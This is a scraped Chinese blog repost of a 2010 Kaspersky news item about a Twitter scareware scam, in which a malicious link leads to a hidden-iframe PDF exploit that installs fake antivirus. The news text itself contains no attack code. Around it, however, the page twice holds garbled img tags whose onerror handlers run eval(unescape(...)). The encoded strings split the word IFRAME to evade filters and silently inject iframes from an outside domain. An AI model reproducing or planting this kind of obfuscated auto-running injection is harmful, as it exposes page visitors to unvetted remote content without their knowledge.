卡巴斯基：Twitter遭受假安全软件诈骗攻击- 白金卡- gratify

卡巴斯基：Twitter遭受假安全软件诈骗攻击- 白金卡- gratify - 和讯博客

卡巴斯基：Twitter遭受假安全软件诈骗攻击 [转贴 2010-05-13 16:10:57] 删除...

卡巴斯基：Twitter遭受假安全软件诈骗攻击

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

卡巴斯基实验室日前表示，Twitter最近受到了虚假安全软件的欺诈，该软件试图拉拢Twitter用户，并向其兜售产品。被引诱打开这个链接的Twitter用户会打开一个网站，该网站会下载scareware。

卡巴斯基实验室研究人员发现了攻击者的{sg}企图，试图利用Twitter进行scareware诈骗。

攻击开始你会收到一个关于"{zj0}影片"的信息，配有一个恶意链接。那些被引诱着打开着链接的人被直接带到一个带有YouTube视频的流氓网站上。一旦打开这个网站，用户被通过隐藏的Iframe的恶意PDF文件攻击。该PDF文件中包含一些成功攻破已知漏洞的内容。如果用户的电脑没有任何防毒软件，恶意软件就会将虚假的安全软件安装上去。

卡巴斯基实验室高级防病毒研究人员Roel Schouwenberg说："scareware称程序受到了感染，因此不能运行或被打开。""有不同的支付选择：49.95美元可享受两年服务，79.95 美元可享受终身服务，你还可以购买‘System Tuner'，一次性收费29.95美元。19.95 美元的终身服务、System Tuner和终身保险是默认的。"

5月30日，Twitter首次对此攻击发出警告，Schouwenberg表示，但是人们早期猜测此攻击是一个蠕虫。然而，经证实发现，没有任何蠕虫类的代码出现。他猜测，取而代之的是，攻击很有可能会与5月出现的一个钓鱼计划进行捆绑。

"当我们大约一到两周前看到以Twitter为目标的钓鱼攻击的时候，我提醒人们xx其目的。"他说，"就像什么新的东西要在Twitter上发生，并且将会带来很大改变。由于没有自我复制代码和最近发生的钓鱼攻击，极有可能两个事件是相互联系的。"

虽然没有针对UAC(用户帐户控制)提示的特别测试，但是漏洞和恶意软件可在运行Windows 2000, XP和Vista系统的计算机上运行。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明：资讯【卡巴斯基：Twitter遭受假安全软件诈骗攻击- 白金卡- gratify - 和讯博客】由发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权，请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。

—— 相关资讯 ——